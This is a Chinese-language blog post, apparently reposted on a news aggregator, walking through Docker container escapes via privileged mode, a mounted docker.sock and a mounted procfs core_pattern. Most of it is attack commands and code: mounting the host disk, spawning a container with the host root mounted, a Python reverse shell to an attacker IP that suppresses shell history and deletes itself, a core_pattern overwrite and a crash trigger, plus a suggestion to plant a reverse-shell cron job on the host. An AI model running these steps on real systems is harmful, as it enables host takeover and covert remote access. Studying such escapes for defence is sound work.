当前位置: 首页 > news >正文

云上攻防—Docker安全容器逃逸特权模式危险挂载

前言

之前分享的是云服务安全,今天开始云原生安全,安全道路依旧很长。

什么是Docker呢,它是开源的容器化平台,用于开发、部署和运行应用程序。它通过将应用程序及其依赖项打包在轻量级的容器中,实现环境一致性、快速部署和资源高效利用这玩意类似虚拟机,是一个虚拟化技术。我们在VM中使用的虚拟机其实基于物理硬件开辟的,而容器是基于我们操作系统内核来开辟的。这样就表面了容器要比虚拟机更加轻量,对CPU和内存等条件要求更低。

就好比如我自己的电脑开4台以上虚拟机就卡死了,容器随便开都行,而且容器无论是部署还是操作都很方便,我们本地按照mysql啥的,又要配置东西,又要按照环境,而容器只需拉取镜像就行。

Docker安全

来到官网我们可以看到有非常多的容器镜像,有一些是官方发布的,也有一些是用户自己打包上传的。这就引出了一个安全问题,有一些人会在容器里面留下后门,当时运行的容器的时候,后门也会被运行,这是早期容器刚出来的现象。假如我们好不容易拿到的shell,却发现是在容器里面,那该咋办,今天讲两种方法实现容器逃逸。

特权模式

当我们运行一个容器时,如果它权限过大的话,那么就可以进行逃逸,我们以特权模式启动 alpine 容器。

docker run --rm --privileged=true -it alpine

这里要顺便说一下,如何判断自己是否在容器中,常用的有三种。

查询cgroup信息,不知为啥我这里啥也没有。

cat /proc/1/cgroup

检查/.dockerenv文件,通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。

ls -alh /.dockerenv 

还有一个是检查mount信息,利用mount查看挂载磁盘是否存在docker相关信息。

mount

更多判断方法可以看这篇文章。

如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客

首先检查是否为特权模式运行的容器,如果是特权模式启动的话,CapEff 对应的掩码值应该为0000003ffffffff或者0000001fffffffff。

cat /proc/self/status | grep CapEff

先创建一个目录。

mkdir /test

​执行下面的命令​将存储设备 /dev/sda1 上的文件系统挂载到目录 /test 上,也就是说我可以通过查看test文件夹来实现对真实系统目录的访问。

mount /dev/sda1 /test

然后我们进入到test目录进行查看,发现里面内容和真实系统一样,成功实现docker逃逸。

后面再往真实的系统文件写入一个反弹shell的计时任务即可拿到shell。

危险挂载

挂载Socket

Docker Socket 用来与守护进程通信即查询信息或者下发命令,类似于网站的功能插件,如果在启动容器的时候挂载了这个功能,那么也会有容器逃逸的安全问题。原理就是,​利用容器内对宿主机的 Docker 引擎的直接控制权,创建或操作具备访问宿主机资源能力的新容器/进程,从而突破当前容器的隔离限制。​

运行容器 ubuntu 并且挂载socket,如果你没有拉去的话,会自动帮你拉去镜像。

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

接着进入到容器中去。

docker exec -it with_docker_sock /bin/bash

检查是否挂载了Socket。

ls -lah /var/run/docker.sock

这里我们可以试试检查特权模式,很明显不对。

容器里面执行命令,更新apt-get 和安装 curl命令。

apt-get update
apt-get install curl

接着在容器里面再安装 docker。

curl -fsSL https://get.docker.com | sh -s -- --mirror Aliyun

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部,类似套娃,可以看到多了一个host目录。

docker run -it -v /:/host ubuntu /bin/bash

查看host目录下的home目录内容,发现和宿主机的一样,说明成功逃逸。

挂载procfs

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。核心原理是:当容器内挂载了宿主机的 proc 文件系统(/proc)时,攻击者可以通过写入 /proc/sys/kernel/core_pattern 等敏感路径,触发宿主机执行任意命令。

创建一个容器并挂载 /proc 目录。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

进行检查一下,如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs。

find / -name core_pattern

找到当前容器在宿主机下的绝对路径,这里我的绝对路径是workdir=/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged,不要后面的work,不然会出错。

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

这里要在容器里面安装一下 vim 和 gcc,因为后续要创建脚本和编译脚本,实战中我推荐本地编译好了上传上去,不然在实际生产环境中安装东西不太现实。

apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

接着创建一个反弹shell的脚本。

vim /tmp/.t.py#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()

实战中建议用cat命令写入,因为vim需要有回显的shell才行。

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"  //反弹IP
lport = xxxx //反弹端口
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF

给脚本赋予权限。

写入反弹 shell 到目标的 proc 目录下。

echo -e "|/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

主机上进行监听。

然后在容器里创建一个可以崩溃的程序。

vim t.c
#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

进行编译,你也可以编译好再上传。

gcc t.c -o t

最后运行程序即可反弹shell,遗憾的是我这里并没有成功,检查了端口也是没问题的,不知道为啥,有懂的师傅可以和我说一下。

总结

以上就是这次的容器逃逸手法啦。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

http://www.lryc.cn/news/578231.html

相关文章:

  • 计算机网络(一)层
  • 3.前端和后端参数不一致,后端接不到数据的解决方案
  • 基于C#的OPCServer应用开发,引用WtOPCSvr.dll
  • 中钧科技亮相2025 亚欧商品贸易博览会,赋能数字经济新未来!
  • C#索引和范围:简化集合访问的现代特性详解
  • 2025年 UI 自动化框架使用排行
  • 深度模型结构选择和应用分析
  • 多重性校正:临床试验统计的关键防线
  • 自由学习记录(65)
  • 【算法】动态规划:1137. 第 N 个泰波那契数
  • python训练打卡DAY40
  • 时序数据集---UWave
  • 《燕云十六声》全栈技术架构深度解析
  • docker搭建minio和python使用minio
  • Java web1(黑马)
  • 【知识图谱构建系列7】:结果评价(1)
  • K8s环境下基于Nginx WebDAV与TLS/SSL的文件上传下载部署指南
  • 【Java面试】如何解决MQ死信队列?
  • OpenCV CUDA模块设备层----计算向量的平方根函数sqrt
  • 使用nomachine远程连接ARM设备桌面
  • C# 字符串中‘$‘和‘@‘的使用
  • C++的特殊类
  • STM32——DAP下载程序和程序调试
  • (4)pytest-fixture
  • Go语言安装使用教程
  • 深度剖析 LNK 参数隐藏攻击 (ZDI-CAN-25373)
  • 【甲方安全建设】敏感数据检测工具 Earlybird 安装使用详细教程
  • 门控循环单元(GRU):LSTM 的轻量级高效 “记忆专家”
  • Instrct-GPT 强化学习奖励模型 Reward modeling 的训练过程原理实例化详解
  • beforeRouteLeave 的触发本质